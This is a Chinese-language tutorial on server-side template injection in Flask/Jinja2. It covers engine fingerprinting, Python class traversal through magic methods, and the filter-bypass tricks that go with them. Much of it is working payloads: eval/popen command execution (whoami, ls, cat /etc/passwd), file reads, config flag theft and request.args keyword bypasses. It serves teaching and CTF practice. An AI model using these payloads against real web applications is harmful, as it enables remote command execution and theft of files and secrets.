Web安全基础篇——SSTI模板注入

Web安全基础篇——SSTI模板注入
Audience漏洞原理
如flask代码不严谨很危险,可能造成任意文件读取和RCE远程控制后台系统。
漏洞成因:渲染模板时,没有严格控制对用户的输入。
flask是基于python开发的一种web服务器,那么也就意味着如果用户可以和flask进行交互的话,就可以执行python的代码,比如eval,system,file等等之类的函数。
1 | from importlib.resources import contents |
str值通过format()函数填充到body中间,{}
里可以定义任何参数,然后return render_template_string
会把{}
内的字符串当成代码指令。这就导致了模板注入漏洞。
判断SSTI类型
网站模板引擎有jinja2、tornado、smarty、twig等等,根据处理返回值的不同来进行判别。
${7*7}
–>a{*comment*}b
有执行回显则是 Smarty模板- 如果上面的没有回显,继续 –>
${"z".join("ab")}
,如果有执行结果则是Mako模板。 ${7*7}
–>{{7*7}}
,如果有执行结果回显则是Jinja2或Twig模板。
继承关系和魔术方法
父类和子类:子类调用父类下的其他子类。
Python flask脚本没有办法直接执行python指令。
而object是父子关系的顶端,所有的数据类型最终的父类都是object。所以所有的类型都可以使用object类的方法和object其它子类的方法。
魔术方法:
__class__
:当前类。__base__
:当前类的父类。
通过这两个类就可以层层递进找到object类。
__mro__
:以元组的形式罗列所有父类关系,最后一个是object类。__subclasses__()
:列出当前类的父类的所有子类。__globals__
:该魔术方法返回当前作用域中的所有全局变量, 并且攻击者可以利用这些变量来执行恶意代码。__import__()
:该魔术方法用于动态加载模块, 并且攻击者可以利用这个方法来执行任意代码。
通过这些魔术方法可以找到能执行命令或者其他漏洞的模块。
常用的注入模块:
1 | os.AddedDllDirectory |
调用OS.wrap_close
这个模块
1 | {{''.__class__.__base__.__subclasses__()[117]}} |
用__init__
去检查该方法是否被重载。没有出现wrapper字眼,说明已经重载。
1 | {{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}} |
globals模块的方法有很多。如eval
、system
等命令执行。
1 | {{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} |
常用注入模块
文件读取
查找子类_frozen_importlib_external.Fileloader
。
利用:调用get_data方法,传入参数0和文件路径。
1 | _frozen_importlib_external.Fileloader["get_data"](0,"/etc/passswd") |
读取配置文件下的FLAG
1 | {{url_for.__globals__['current_app'].config.FLAG}} |
直接调用object下的file函数
1 | {{''.__class__.__bases__[0].__subclasses__()[65]("/etc/passwd").read()')}} |
内建函数eval执行命令
内建函数:python在执行脚本时自动加载的函数。
1 | {{''.__class__.__bases__[0].__subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}} |
__builtins__
:提供对Python的所有”内置”标识符的直接访问eval()
计算字符串表达式的值__import__
:加载os模块popen()
:执行一个shell以运行命令来开启一个进程,执行如cat /etc/passwd
。(system没有回显)
os模块执行命令
通过config调用
1 | {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}} |
通过url_for 调用
1 | {{url_for.__globals__.os.popen('whoami').read()}} |
在已经加载os模块的子类里直接调用os模块。
1 | {{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls /opt").read()}} |
过滤双大括号
{% %}
是属于flask的控制语句,且以{% end... %}
结尾,可以通过在控制语句定义变量或者写循环、判断。
判断语句能否正常执行。
1 | {% if 2>1 %}Benben{%endif%} |
有回显Benben说明''.class
有内容。
1 | {%if ''.class__.__base__.__subclasses()['+str(i)+ |
如果有回显Benben则说明命令正常执行。
可以使用脚本进行判断字符。
关键词过滤
如果__class__
、__subclassses__
等关键词过滤了,可以换一种方法构造,大佬们的注入姿势都很奇妙。
使用request.args进行绕过。
1 | {{''[request.args.a]}}?a=__class__ |
读取文件:
1 | {{''[request.args.a][request.args.b][2][request.args.c]()[40]('文件路径')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read |